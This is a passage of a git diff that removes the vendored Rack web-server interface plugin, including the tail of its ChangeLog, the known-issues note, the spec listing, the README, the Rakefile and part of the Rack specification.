18:55:00 2007 +0000 Christian Neukirchen - * Make spec_rack_urlmap.rb use mocks - -Wed Feb 28 18:30:00 2007 +0000 Christian Neukirchen - * Make spec_rack_showexceptions.rb use mocks - -Wed Feb 28 18:26:00 2007 +0000 Christian Neukirchen - * Make spec_rack_request.rb use mocks - -Wed Feb 28 18:25:00 2007 +0000 Christian Neukirchen - * Don't clash constants in specifications - -Wed Feb 28 18:21:00 2007 +0000 Christian Neukirchen - * MockRequest can now only create the Rack environment - -Wed Feb 28 18:13:00 2007 +0000 Christian Neukirchen - * Make spec_rack_recursive.rb use mocks - -Wed Feb 28 17:50:00 2007 +0000 Christian Neukirchen - * Add a default SCRIPT_NAME - -Wed Feb 28 17:44:00 2007 +0000 Christian Neukirchen - * Make spec_rack_file.rb use mocks - -Wed Feb 28 17:40:00 2007 +0000 Christian Neukirchen - * Make spec_rack_commonlogger.rb use mocks - -Wed Feb 28 17:35:00 2007 +0000 Christian Neukirchen - * Add support for mocking all request methods - -Wed Feb 28 17:29:00 2007 +0000 Christian Neukirchen - * Add MockRequest/MockResponse for easier testing - -Wed Feb 28 13:45:00 2007 +0000 Christian Neukirchen - * Remove the port number of HTTP_HOST and SERVER_NAME - -Wed Feb 28 13:33:00 2007 +0000 Christian Neukirchen - * Make multipart reading more robust - -Wed Feb 28 12:56:00 2007 +0000 Christian Neukirchen - * Make Rack::Request read multipart form data - -Wed Feb 28 12:56:00 2007 +0000 Christian Neukirchen - * Allow rack.input.read(integer), needed for safe multipart parsing - -Mon Feb 26 18:45:00 2007 +0000 Christian Neukirchen - * Add CGI and FastCGI support for rackup - -Mon Feb 26 18:42:00 2007 +0000 Christian Neukirchen - * Make *CGI#run really like the others - -Mon Feb 26 18:10:00 2007 +0000 Christian Neukirchen - * Adapt Rack::Handler::CGI API - -Mon Feb 26 17:59:00 2007 +0000 Christian Neukirchen - * Add a FastCGI handler - -Sun Feb 25 21:14:00 2007 +0000 Christian Neukirchen - * Make Rack::Response#write return the written string to catch errors with nested writes - -Sun Feb 25 15:49:00 2007 +0000 Christian Neukirchen - * Add Rack::Reloader, a code autoreloader - -Sun Feb 25 13:46:00 2007 +0000 Christian Neukirchen - * Ensure the Response body is writable - -Sun Feb 25 13:40:00 2007 +0000 Christian Neukirchen - * Improve the Rack::Response constructor - - based on a patch from mitsuhiko. - -Sun Feb 25 12:24:00 2007 +0000 Christian Neukirchen - * Add the official logo - -Sat Feb 24 18:03:00 2007 +0000 Christian Neukirchen - * Add rackup, an experimental standalone Rack app starter - -Sat Feb 24 18:02:00 2007 +0000 Christian Neukirchen - * Add Rack::Builder, a DSL for connecting Rack apps - -Sat Feb 24 18:01:00 2007 +0000 Christian Neukirchen - * Really fix URLMap - -Thu Feb 22 20:35:00 2007 +0000 Christian Neukirchen - * Lint fix - -Thu Feb 22 20:34:00 2007 +0000 Christian Neukirchen - * Route root app correctly in URLMap - -Thu Feb 22 11:10:00 2007 +0000 Christian Neukirchen - * Add tests for Request#query_string - -Wed Feb 21 22:25:00 2007 +0000 Christoffer Sawicki - * Add getter method for the query string (and use it internally) - -Wed Feb 21 17:29:00 2007 +0000 Christoffer Sawicki - * Extended CGIStub to handle Rails' session cookie - -Wed Feb 21 19:23:00 2007 +0000 Christian Neukirchen - * Add a first draft of the specification to Rack::Lint - -Wed Feb 21 18:49:00 2007 +0000 Christian Neukirchen - * Ensure the body is closed - -Wed Feb 21 17:46:00 2007 +0000 Christian Neukirchen - * Add AUTHORS - -Wed Feb 21 16:49:00 2007 +0000 Christoffer Sawicki - * Basic Rails handler for Rack - -Wed Feb 21 17:03:00 2007 +0000 Christian Neukirchen - * Add Request#url - -Wed Feb 21 16:41:00 2007 +0000 Christian Neukirchen - * Fix extension->MIME mapping - -Wed Feb 21 15:13:00 2007 +0000 Christian Neukirchen - * Add Rack::Recursive and ForwardRequest - -Wed Feb 21 15:11:00 2007 +0000 Christian Neukirchen - * URLMap should only look at PATH_INFO - -Tue Feb 20 18:15:00 2007 +0000 Christian Neukirchen - * Call body#close if possible - -Mon Feb 19 12:19:00 2007 +0000 Christian Neukirchen - * Small exception handler tweak - -Mon Feb 19 11:22:00 2007 +0000 Christian Neukirchen - * Return empty hash on lack of cookies - -Mon Feb 19 11:22:00 2007 +0000 Christian Neukirchen - * Fix host dispatching with explicit ports - -Mon Feb 19 10:23:00 2007 +0000 Christian Neukirchen - * Cache the parsed things in Rack::Request - -Sun Feb 18 23:23:00 2007 +0000 Christian Neukirchen - * Rename Request#method to #request_method to not confuse stdlibs - -Sun Feb 18 23:02:00 2007 +0000 Christian Neukirchen - * Add Camping adapter autoload - -Sun Feb 18 22:52:00 2007 +0000 Christian Neukirchen - * Put Rack under the MIT license - -Sun Feb 18 18:07:00 2007 +0000 Christian Neukirchen - * Add Rack::CommonLogger, a Common Log Format request logger - -Sun Feb 18 17:52:00 2007 +0000 Christian Neukirchen - * Make Response#status and #body settable - -Sun Feb 18 10:50:00 2007 +0000 Christian Neukirchen - * More convenience for Rack::Request - -Sat Feb 17 13:49:00 2007 +0000 Christian Neukirchen - * Remove trailing whitespace *sigh* - -Sat Feb 17 13:46:00 2007 +0000 Christian Neukirchen - * Add Rack::URLMap, a simple router - -Sat Feb 17 13:04:00 2007 +0000 Christian Neukirchen - * Remove Python leftover - -Sat Feb 17 12:57:00 2007 +0000 Christian Neukirchen - * Add a Camping adapter - -Sat Feb 17 12:57:00 2007 +0000 Christian Neukirchen - * Don't define path_info twice - -Sat Feb 17 12:56:00 2007 +0000 Christian Neukirchen - * Add Rack::ShowExceptions - -Sat Feb 17 12:55:00 2007 +0000 Christian Neukirchen - * Remove stray paths - -Fri Feb 16 16:54:00 2007 +0000 Christian Neukirchen - * Add lobster version with Request/Response - -Fri Feb 16 16:53:00 2007 +0000 Christian Neukirchen - * Make Rack::Response#write syncronous - -Fri Feb 16 16:42:00 2007 +0000 Christian Neukirchen - * Add more Rack::Utils specs - -Fri Feb 16 16:34:00 2007 +0000 Christian Neukirchen - * Add Rack::Response and Rack::Utils - -Fri Feb 16 15:32:00 2007 +0000 Christian Neukirchen - * Add Rack::Request - -Fri Feb 16 15:30:00 2007 +0000 Christian Neukirchen - * Add Rack::File, a static file server - -Fri Feb 16 14:51:00 2007 +0000 Christian Neukirchen - * Move testing helpers to TestRequest - -Fri Feb 16 13:40:00 2007 +0000 Christian Neukirchen - * Add a lobster - -Fri Feb 16 13:39:00 2007 +0000 Christian Neukirchen - * Add rack.rb with autoloads for convenience - -Fri Feb 16 13:33:00 2007 +0000 Christian Neukirchen - * Add quick run methods for WEBrick and Mongrel - -Fri Feb 16 13:27:00 2007 +0000 Christian Neukirchen - * Fix lint to allow empty SCRIPT_NAME and PATH_INFO - -Fri Feb 16 13:01:00 2007 +0000 Christian Neukirchen - * Add Lint to the tests - -Fri Feb 16 12:49:00 2007 +0000 Christian Neukirchen - * Add Rack::Lint - -Thu Feb 15 18:05:00 2007 +0000 Christian Neukirchen - * Initial import of Rack - diff --git a/vendor/plugins/rack/KNOWN-ISSUES b/vendor/plugins/rack/KNOWN-ISSUES deleted file mode 100644 index 790199bd..00000000 --- a/vendor/plugins/rack/KNOWN-ISSUES +++ /dev/null @@ -1,18 +0,0 @@ -= Known issues with Rack and Web servers - -* Lighttpd sets wrong SCRIPT_NAME and PATH_INFO if you mount your - FastCGI app at "/". This can be fixed by using this middleware: - - class LighttpdScriptNameFix - def initialize(app) - @app = app - end - - def call(env) - env["PATH_INFO"] = env["SCRIPT_NAME"].to_s + env["PATH_INFO"].to_s - env["SCRIPT_NAME"] = "" - @app.call(env) - end - end - - Of course, use this only when your app runs at "/". diff --git a/vendor/plugins/rack/RDOX b/vendor/plugins/rack/RDOX deleted file mode 100644 index becae4a4..00000000 --- a/vendor/plugins/rack/RDOX +++ /dev/null @@ -1,324 +0,0 @@ - -== Rack::Auth::Basic -* should challenge correctly when no credentials are specified -* should rechallenge if incorrect credentials are specified -* should return application output if correct credentials are specified -* should return 400 Bad Request if different auth scheme used - -== Rack::Auth::Digest::MD5 -* should challenge when no credentials are specified -* should return application output if correct credentials given -* should return application output if correct credentials given (hashed passwords) -* should rechallenge if incorrect username given -* should rechallenge if incorrect password given -* should rechallenge with stale parameter if nonce is stale -* should return 400 Bad Request if incorrect qop given -* should return 400 Bad Request if incorrect uri given -* should return 400 Bad Request if different auth scheme used - -== Rack::Auth::OpenID -* realm uri should be absolute and have a path -* uri options should be absolute -* return_to should be absolute and be under the realm -* extensions should be a module -* extensions should have required constants defined -* extensions should have Request and Response defined and inherit from OpenID::Extension -* extensions should have NS_URI defined and be a string of an absolute http uri - -== Rack::Builder -* chains apps by default -* has implicit #to_app -* supports blocks on use -* has explicit #to_app -* apps are initialized once - -== Rack::Adapter::Camping -* works with GET -* works with POST - -== Rack::Cascade -* should dispatch onward on 404 by default -* should dispatch onward on whatever is passed -* should fail if empty -* should append new app - -== Rack::Handler::CGI -* startup (empty) -* should respond -* should be a lighttpd -* should have rack headers -* should have CGI headers on GET -* should have CGI headers on POST -* should support HTTP auth -* should set status -* shutdown - -== Rack::CommonLogger -* should log to rack.errors by default -* should log to anything with << - -== Rack::ConditionalGet -* should set a 304 status and truncate body when If-Modified-Since hits -* should set a 304 status and truncate body when If-None-Match hits -* should not affect non-GET/HEAD requests - -== Rack::ContentLength -* sets Content-Length on String bodies if none is set -* sets Content-Length on Array bodies if none is set -* does not set Content-Length on variable length bodies -* does not change Content-Length if it is already set -* does not set Content-Length on 304 responses -* does not set Content-Length when Transfer-Encoding is chunked - -== Rack::Deflater -* should be able to deflate bodies that respond to each -* should be able to deflate String bodies -* should be able to gzip bodies that respond to each -* should be able to fallback to no deflation -* should be able to skip when there is no response entity body -* should handle the lack of an acceptable encoding -* should handle gzip response with Last-Modified header -* should do nothing when no-transform Cache-Control directive present - -== Rack::Directory -* serves directory indices -* passes to app if file found -* serves uri with URL encoded filenames -* does not allow directory traversal -* 404s if it can't find the file - -== Rack::Handler::FastCGI -* startup (empty) -* should respond -* should be a lighttpd -* should have rack headers -* should have CGI headers on GET -* should have CGI headers on POST -* should support HTTP auth -* should set status -* shutdown - -== Rack::File -* serves files -* sets Last-Modified header -* serves files with URL encoded filenames -* does not allow directory traversal -* does not allow directory traversal with encoded periods -* 404s if it can't find the file -* detects SystemCallErrors - -== Rack::Handler -* has registered default handlers -* should get unregistered handler by name -* should register custom handler - -== Rack::Head -* response (empty) -* passes GET, POST, PUT, DELETE, OPTIONS, TRACE requests -* removes body from HEAD requests - -== Rack::Lint -* passes valid request -* notices fatal errors -* notices environment errors -* notices input errors -* notices error errors -* notices status errors -* notices header errors -* notices content-type errors -* notices content-length errors -* notices body errors -* notices input handling errors -* notices error handling errors -* notices HEAD errors - -== Rack::Lint::InputWrapper -* delegates :size to underlying IO object -* delegates :rewind to underlying IO object - -== Rack::Lobster::LambdaLobster -* should be a single lambda -* should look like a lobster -* should be flippable - -== Rack::Lobster -* should look like a lobster -* should be flippable -* should provide crashing for testing purposes - -== Rack::MethodOverride -* should not affect GET requests -* _method parameter should modify REQUEST_METHOD for POST requests -* X-HTTP-Method-Override header should modify REQUEST_METHOD for POST requests -* should not modify REQUEST_METHOD if the method is unknown -* should not modify REQUEST_METHOD when _method is nil -* should store the original REQUEST_METHOD prior to overriding - -== Rack::MockRequest -* should return a MockResponse -* should be able to only return the environment -* should provide sensible defaults -* should allow GET/POST/PUT/DELETE -* should allow posting -* should use all parts of an URL -* should behave valid according to the Rack spec - -== Rack::MockResponse -* should provide access to the HTTP status -* should provide access to the HTTP headers -* should provide access to the HTTP body -* should provide access to the Rack errors -* should optionally make Rack errors fatal - -== Rack::Handler::Mongrel -* should respond -* should be a Mongrel -* should have rack headers -* should have CGI headers on GET -* should have CGI headers on POST -* should support HTTP auth -* should set status -* should provide a .run -* should provide a .run that maps a hash -* should provide a .run that maps a urlmap -* should provide a .run that maps a urlmap restricting by host -* should stream #each part of the response - -== Rack::Recursive -* should allow for subrequests -* should raise error on requests not below the app -* should support forwarding - -== Rack::Request -* wraps the rack variables -* can figure out the correct host -* can parse the query string -* can parse POST data -* can parse POST data with explicit content type -* does not parse POST data when media type is not form-data -* rewinds input after parsing POST data -* does not rewind unwindable CGI input -* can get value by key from params with #[] -* can set value to key on params with #[]= -* values_at answers values by keys in order given -* referrer should be extracted correct -* can cache, but invalidates the cache -* can figure out if called via XHR -* can parse cookies -* parses cookies according to RFC 2109 -* provides setters -* provides the original env -* can restore the URL -* can restore the full path -* can handle multiple media type parameters -* can parse multipart form data -* can parse big multipart form data -* can detect invalid multipart form data -* should work around buggy 1.8.* Tempfile equality -* does conform to the Rack spec -* should parse Accept-Encoding correctly -* should provide ip information - -== Rack::Response -* has sensible default values -* can be written to -* can set and read headers -* can set cookies -* formats the Cookie expiration date accordingly to RFC 2109 -* can set secure cookies -* can delete cookies -* has a useful constructor -* has a constructor that can take a block -* doesn't return invalid responses -* knows if it's empty -* should provide access to the HTTP status -* should provide access to the HTTP headers - -== Rack::Session::Cookie -* creates a new cookie -* loads from a cookie -* survives broken cookies -* barks on too big cookies -* creates a new cookie with integrity hash -* loads from a cookie wih integrity hash -* ignores tampered with session cookies - -== Rack::Session::Memcache -* startup (empty) -* faults on no connection -* creates a new cookie -* determines session from a cookie -* survives broken cookies -* maintains freshness -* multithread: should cleanly merge sessions -* shutdown - -== Rack::Session::Pool -* creates a new cookie -* determines session from a cookie -* survives broken cookies -* maintains freshness -* multithread: should merge sessions - -== Rack::ShowExceptions -* catches exceptions - -== Rack::ShowStatus -* should provide a default status message -* should let the app provide additional information -* should not replace existing messages -* should pass on original headers -* should replace existing messages if there is detail - -== Rack::Static -* serves files -* 404s if url root is known but it can't find the file -* calls down the chain if url root is not known - -== Rack::Handler::Thin -* should respond -* should be a Thin -* should have rack headers -* should have CGI headers on GET -* should have CGI headers on POST -* should support HTTP auth -* should set status - -== Rack::URLMap -* dispatches paths correctly -* dispatches hosts correctly -* should be nestable -* should route root apps correctly - -== Rack::Utils -* should escape correctly -* should unescape correctly -* should parse query strings correctly -* should build query strings correctly -* should figure out which encodings are acceptable - -== Rack::Utils::HeaderHash -* should retain header case -* should check existence of keys case insensitively -* should merge case-insensitively -* should overwrite case insensitively and assume the new key's case -* should be converted to real Hash - -== Rack::Utils::Context -* should perform checks on both arguments -* should set context correctly -* should alter app on recontexting -* should run different apps - -== Rack::Handler::WEBrick -* should respond -* should be a WEBrick -* should have rack headers -* should have CGI headers on GET -* should have CGI headers on POST -* should support HTTP auth -* should set status -* should correctly set cookies -* should provide a .run - -244 specifications, 4 empty (1004 requirements), 0 failures diff --git a/vendor/plugins/rack/README b/vendor/plugins/rack/README deleted file mode 100644 index a4f45ab4..00000000 --- a/vendor/plugins/rack/README +++ /dev/null @@ -1,306 +0,0 @@ -= Rack, a modular Ruby webserver interface - -Rack provides a minimal, modular and adaptable interface for developing -web applications in Ruby. By wrapping HTTP requests and responses in -the simplest way possible, it unifies and distills the API for web -servers, web frameworks, and software in between (the so-called -middleware) into a single method call. - -The exact details of this are described in the Rack specification, -which all Rack applications should conform to. - -== Supported web servers - -The included *handlers* connect all kinds of web servers to Rack: -* Mongrel -* EventedMongrel -* SwiftipliedMongrel -* WEBrick -* FCGI -* CGI -* SCGI -* LiteSpeed -* Thin - -These web servers include Rack handlers in their distributions: -* Ebb -* Fuzed -* Phusion Passenger (which is mod_rack for Apache) - -Any valid Rack app will run the same on all these handlers, without -changing anything. - -== Supported web frameworks - -The included *adapters* connect Rack with existing Ruby web frameworks: -* Camping - -These frameworks include Rack adapters in their distributions: -* Coset -* Halcyon -* Mack -* Maveric -* Merb -* Racktools::SimpleApplication -* Ramaze -* Ruby on Rails -* Sinatra -* Sin -* Vintage -* Waves - -Current links to these projects can be found at -http://ramaze.net/#other-frameworks - -== Available middleware - -Between the server and the framework, Rack can be customized to your -applications needs using middleware, for example: -* Rack::URLMap, to route to multiple applications inside the same process. -* Rack::CommonLogger, for creating Apache-style logfiles. -* Rack::ShowException, for catching unhandled exceptions and - presenting them in a nice and helpful way with clickable backtrace. -* Rack::File, for serving static files. -* ...many others! - -All these components use the same interface, which is described in -detail in the Rack specification. These optional components can be -used in any way you wish. - -== Convenience - -If you want to develop outside of existing frameworks, implement your -own ones, or develop middleware, Rack provides many helpers to create -Rack applications quickly and without doing the same web stuff all -over: -* Rack::Request, which also provides query string parsing and - multipart handling. -* Rack::Response, for convenient generation of HTTP replies and - cookie handling. -* Rack::MockRequest and Rack::MockResponse for efficient and quick - testing of Rack application without real HTTP round-trips. - -== rack-contrib - -The plethora of useful middleware created the need for a project that -collects fresh Rack middleware. rack-contrib includes a variety of -add-on components for Rack and it is easy to contribute new modules. - -* http://github.com/rack/rack-contrib - -== rackup - -rackup is a useful tool for running Rack applications, which uses the -Rack::Builder DSL to configure middleware and build up applications -easily. - -rackup automatically figures out the environment it is run in, and -runs your application as FastCGI, CGI, or standalone with Mongrel or -WEBrick---all from the same configuration. - -== Quick start - -Try the lobster! - -Either with the embedded WEBrick starter: - - ruby -Ilib lib/rack/lobster.rb - -Or with rackup: - - bin/rackup -Ilib example/lobster.ru - -By default, the lobster is found at http://localhost:9292. - -== Installing with RubyGems - -A Gem of Rack is available. You can install it with: - - gem install rack - -I also provide a local mirror of the gems (and development snapshots) -at my site: - - gem install rack --source http://chneukirchen.org/releases/gems/ - -== Running the tests - -Testing Rack requires the test/spec testing framework: - - gem install test-spec - -There are two rake-based test tasks: - - rake test tests all the fast tests (no Handlers or Adapters) - rake fulltest runs all the tests - -The fast testsuite has no dependencies outside of the core Ruby -installation and test-spec. - -To run the test suite completely, you need: - - * camping - * mongrel - * fcgi - * ruby-openid - * memcache-client - -The full set of tests test FCGI access with lighttpd (on port -9203) so you will need lighttpd installed as well as the FCGI -libraries and the fcgi gem: - -Download and install lighttpd: - - http://www.lighttpd.net/download - -Installing the FCGI libraries: - - curl -O http://www.fastcgi.com/dist/fcgi-2.4.0.tar.gz - tar xzvf fcgi-2.4.0.tar.gz - cd fcgi-2.4.0 - ./configure --prefix=/usr/local - make - sudo make install - cd .. - -Installing the Ruby fcgi gem: - - gem install fcgi - -Furthermore, to test Memcache sessions, you need memcached (will be -run on port 11211) and memcache-client installed. - -== History - -* March 3rd, 2007: First public release 0.1. - -* May 16th, 2007: Second public release 0.2. - * HTTP Basic authentication. - * Cookie Sessions. - * Static file handler. - * Improved Rack::Request. - * Improved Rack::Response. - * Added Rack::ShowStatus, for better default error messages. - * Bug fixes in the Camping adapter. - * Removed Rails adapter, was too alpha. - -* February 26th, 2008: Third public release 0.3. - * LiteSpeed handler, by Adrian Madrid. - * SCGI handler, by Jeremy Evans. - * Pool sessions, by blink. - * OpenID authentication, by blink. - * :Port and :File options for opening FastCGI sockets, by blink. - * Last-Modified HTTP header for Rack::File, by blink. - * Rack::Builder#use now accepts blocks, by Corey Jewett. - (See example/protectedlobster.ru) - * HTTP status 201 can contain a Content-Type and a body now. - * Many bugfixes, especially related to Cookie handling. - -* August 21st, 2008: Fourth public release 0.4. - * New middleware, Rack::Deflater, by Christoffer Sawicki. - * OpenID authentication now needs ruby-openid 2. - * New Memcache sessions, by blink. - * Explicit EventedMongrel handler, by Joshua Peek - * Rack::Reloader is not loaded in rackup development mode. - * rackup can daemonize with -D. - * Many bugfixes, especially for pool sessions, URLMap, thread safety - and tempfile handling. - * Improved tests. - * Rack moved to Git. - -* January 6th, 2009: Fifth public release 0.9. - * Rack is now managed by the Rack Core Team. - * Rack::Lint is stricter and follows the HTTP RFCs more closely. - * Added ConditionalGet middleware. - * Added ContentLength middleware. - * Added Deflater middleware. - * Added Head middleware. - * Added MethodOverride middleware. - * Rack::Mime now provides popular MIME-types and their extension. - * Mongrel Header now streams. - * Added Thin handler. - * Official support for swiftiplied Mongrel. - * Secure cookies. - * Made HeaderHash case-preserving. - * Many bugfixes and small improvements. - -* January 9th, 2009: Sixth public release 0.9.1. - * Fix directory traversal exploits in Rack::File and Rack::Directory. - -== Contact - -Please mail bugs, suggestions and patches to -. - -Mailing list archives are available at -. - -There is a bug tracker at . - -Git repository (patches rebased on master are most welcome): -* http://github.com/rack/rack -* http://git.vuxu.org/cgi-bin/gitweb.cgi?p=rack.git - -You are also welcome to join the #rack channel on irc.freenode.net. - -== Thanks - -The Rack Core Team, consisting of - -* Christian Neukirchen (chneukirchen) -* James Tucker (raggi) -* Josh Peek (josh) -* Michael Fellinger (manveru) -* Ryan Tomayko (rtomayko) -* Scytrin dai Kinthra (scytrin) - -would like to thank: - -* Adrian Madrid, for the LiteSpeed handler. -* Christoffer Sawicki, for the first Rails adapter and Rack::Deflater. -* Tim Fletcher, for the HTTP authentication code. -* Luc Heinrich for the Cookie sessions, the static file handler and bugfixes. -* Armin Ronacher, for the logo and racktools. -* Aredridel, Ben Alpert, Dan Kubb, Daniel Roethlisberger, Matt Todd, - Tom Robinson, and Phil Hagelberg for bug fixing and other - improvements. -* Stephen Bannasch, for bug reports and documentation. -* Gary Wright, for proposing a better Rack::Response interface. -* Jonathan Buch, for improvements regarding Rack::Response. -* Armin Röhrl, for tracking down bugs in the Cookie generator. -* Alexander Kellett for testing the Gem and reviewing the announcement. -* Marcus Rückert, for help with configuring and debugging lighttpd. -* The WSGI team for the well-done and documented work they've done and - Rack builds up on. -* All bug reporters and patch contributers not mentioned above. - -== Copyright - -Copyright (C) 2007, 2008, 2009 Christian Neukirchen - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to -deal in the Software without restriction, including without limitation the -rights to use, copy, modify, merge, publish, distribute, sublicense, and/or -sell copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - -== Links - -Rack:: -Rack's Rubyforge project:: -Official Rack repositories:: -rack-devel mailing list:: - -Christian Neukirchen:: - diff --git a/vendor/plugins/rack/Rakefile b/vendor/plugins/rack/Rakefile deleted file mode 100644 index 5f3da93c..00000000 --- a/vendor/plugins/rack/Rakefile +++ /dev/null @@ -1,188 +0,0 @@ -# Rakefile for Rack. -*-ruby-*- -require 'rake/rdoctask' -require 'rake/testtask' - - -desc "Run all the tests" -task :default => [:test] - -desc "Do predistribution stuff" -task :predist => [:chmod, :changelog, :rdoc] - - -desc "Make an archive as .tar.gz" -task :dist => [:fulltest, :predist] do - sh "git archive --format=tar --prefix=#{release}/ HEAD^{tree} >#{release}.tar" - sh "pax -waf #{release}.tar -s ':^:#{release}/:' RDOX SPEC ChangeLog doc" - sh "gzip -f -9 #{release}.tar" -end - -# Helper to retrieve the "revision number" of the git tree. -def git_tree_version - if File.directory?(".git") - @tree_version ||= `git describe`.strip.sub('-', '.') - @tree_version << ".0" unless @tree_version.count('.') == 2 - else - $: << "lib" - require 'rack' - @tree_version = Rack.release - end - @tree_version -end - -def gem_version - git_tree_version.gsub(/-.*/, '') -end - -def release - "rack-#{git_tree_version}" -end - -def manifest - `git ls-files`.split("\n") -end - - -desc "Make binaries executable" -task :chmod do - Dir["bin/*"].each { |binary| File.chmod(0775, binary) } - Dir["test/cgi/test*"].each { |binary| File.chmod(0775, binary) } -end - -desc "Generate a ChangeLog" -task :changelog do - File.open("ChangeLog", "w") { |out| - `git log -z`.split("\0").map { |chunk| - author = chunk[/Author: (.*)/, 1].strip - date = chunk[/Date: (.*)/, 1].strip - desc, detail = $'.strip.split("\n", 2) - detail ||= "" - detail = detail.gsub(/.*darcs-hash:.*/, '') - detail.rstrip! - out.puts "#{date} #{author}" - out.puts " * #{desc.strip}" - out.puts detail unless detail.empty? - out.puts - } - } -end - - -desc "Generate RDox" -task "RDOX" do - sh "specrb -Ilib:test -a --rdox >RDOX" -end - -desc "Generate Rack Specification" -task "SPEC" do - File.open("SPEC", "wb") { |file| - IO.foreach("lib/rack/lint.rb") { |line| - if line =~ /## (.*)/ - file.puts $1 - end - } - } -end - -desc "Run all the fast tests" -task :test do - sh "specrb -Ilib:test -w #{ENV['TEST'] || '-a'} #{ENV['TESTOPTS'] || '-t "^(?!Rack::Handler|Rack::Adapter|Rack::Session::Memcache|Rack::Auth::OpenID)"'}" -end - -desc "Run all the tests" -task :fulltest => [:chmod] do - sh "specrb -Ilib:test -w #{ENV['TEST'] || '-a'} #{ENV['TESTOPTS']}" -end - -begin - require 'rubygems' - - require 'rake' - require 'rake/clean' - require 'rake/packagetask' - require 'rake/gempackagetask' - require 'fileutils' -rescue LoadError - # Too bad. -else - spec = Gem::Specification.new do |s| - s.name = "rack" - s.version = gem_version - s.platform = Gem::Platform::RUBY - s.summary = "a modular Ruby webserver interface" - - s.description = <<-EOF -Rack provides minimal, modular and adaptable interface for developing -web applications in Ruby. By wrapping HTTP requests and responses in -the simplest way possible, it unifies and distills the API for web -servers, web frameworks, and software in between (the so-called -middleware) into a single method call. - -Also see http://rack.rubyforge.org. - EOF - - s.files = manifest + %w(SPEC RDOX) - s.bindir = 'bin' - s.executables << 'rackup' - s.require_path = 'lib' - s.has_rdoc = true - s.extra_rdoc_files = ['README', 'SPEC', 'RDOX', 'KNOWN-ISSUES'] - s.test_files = Dir['test/{test,spec}_*.rb'] - - s.author = 'Christian Neukirchen' - s.email = 'chneukirchen@gmail.com' - s.homepage = 'http://rack.rubyforge.org' - s.rubyforge_project = 'rack' - - s.add_development_dependency 'test-spec' - - s.add_development_dependency 'camping' - s.add_development_dependency 'fcgi' - s.add_development_dependency 'memcache-client' - s.add_development_dependency 'mongrel' - s.add_development_dependency 'ruby-openid', '~> 2.0.0' - s.add_development_dependency 'thin' - end - - Rake::GemPackageTask.new(spec) do |p| - p.gem_spec = spec - p.need_tar = false - p.need_zip = false - end -end - -desc "Generate RDoc documentation" -Rake::RDocTask.new(:rdoc) do |rdoc| - rdoc.options << '--line-numbers' << '--inline-source' << - '--main' << 'README' << - '--title' << 'Rack Documentation' << - '--charset' << 'utf-8' - rdoc.rdoc_dir = "doc" - rdoc.rdoc_files.include 'README' - rdoc.rdoc_files.include 'KNOWN-ISSUES' - rdoc.rdoc_files.include 'SPEC' - rdoc.rdoc_files.include 'RDOX' - rdoc.rdoc_files.include('lib/rack.rb') - rdoc.rdoc_files.include('lib/rack/*.rb') - rdoc.rdoc_files.include('lib/rack/*/*.rb') -end -task :rdoc => ["SPEC", "RDOX"] - -task :pushsite => [:rdoc] do - sh "rsync -avz doc/ chneukirchen@rack.rubyforge.org:/var/www/gforge-projects/rack/doc/" - sh "rsync -avz site/ chneukirchen@rack.rubyforge.org:/var/www/gforge-projects/rack/" -end - -begin - require 'rcov/rcovtask' - - Rcov::RcovTask.new do |t| - t.test_files = FileList['test/{spec,test}_*.rb'] - t.verbose = true # uncomment to see the executed command - t.rcov_opts = ["--text-report", - "-Ilib:test", - "--include-file", "^lib,^test", - "--exclude-only", "^/usr,^/home/.*/src,active_"] - end -rescue LoadError -end diff --git a/vendor/plugins/rack/SPEC b/vendor/plugins/rack/SPEC deleted file mode 100644 index 1f6c3434..00000000 --- a/vendor/plugins/rack/SPEC +++ /dev/null @@ -1,129 +0,0 @@ -This specification aims to formalize the Rack protocol. You -can (and should) use Rack::Lint to enforce it. -When you develop middleware, be sure to add a Lint before and -after to catch all mistakes. -= Rack applications -A Rack application is an Ruby object (not a class) that -responds to +call+. -It takes exactly one argument, the *environment* -and returns an Array of exactly three values: -The *status*, -the *headers*, -and the *body*. -== The Environment -The environment must be an true instance of Hash (no -subclassing allowed) that includes CGI-like headers. -The application is free to modify the environment. -The environment is required to include these variables -(adopted from PEP333), except when they'd be empty, but see -below. -REQUEST_METHOD:: The HTTP request method, such as - "GET" or "POST". This cannot ever - be an empty string, and so is - always required. -SCRIPT_NAME:: The initial portion of the request - URL's "path" that corresponds to the - application object, so that the - application knows its virtual - "location". This may be an empty - string, if the application corresponds - to the "root" of the server. -PATH_INFO:: The remainder of the request URL's - "path", designating the virtual - "location" of the request's target - within the application. This may be an - empty string, if the request URL targets - the application root and does not have a - trailing slash. -QUERY_STRING:: The portion of the request URL that - follows the ?, if any. May be - empty, but is always required! -SERVER_NAME, SERVER_PORT:: When combined with SCRIPT_NAME and PATH_INFO, these variables can be used to complete the URL. Note, however, that HTTP_HOST, if present, should be used in preference to SERVER_NAME for reconstructing the request URL. SERVER_NAME and SERVER_PORT can never be empty strings, and so are always required. -HTTP_ Variables:: Variables corresponding to the - client-supplied HTTP request - headers (i.e., variables whose - names begin with HTTP_). The - presence or absence of these - variables should correspond with - the presence or absence of the - appropriate HTTP header in the - request. -In addition to this, the Rack environment must include these -Rack-specific variables: -rack.version:: The Array [0,1], representing this version of Rack. -rack.url_scheme:: +http+ or +https+, depending on the request URL. -rack.input:: See below, the input stream. -rack.errors:: See below, the error stream. -rack.multithread:: true if the application object may be simultaneously invoked by another thread in the same process, false otherwise. -rack.multiprocess:: true if an equivalent application object may be simultaneously invoked by another process, false otherwise. -rack.run_once:: true if the server expects (but does not guarantee!) that the application will only be invoked this one time during the life of its containing process. Normally, this will only be true for a server based on CGI (or something similar). -The server or the application can store their own data in the -environment, too. The keys must contain at least one dot, -and should be prefixed uniquely. The prefix rack. -is reserved for use with the Rack core distribution and must -not be used 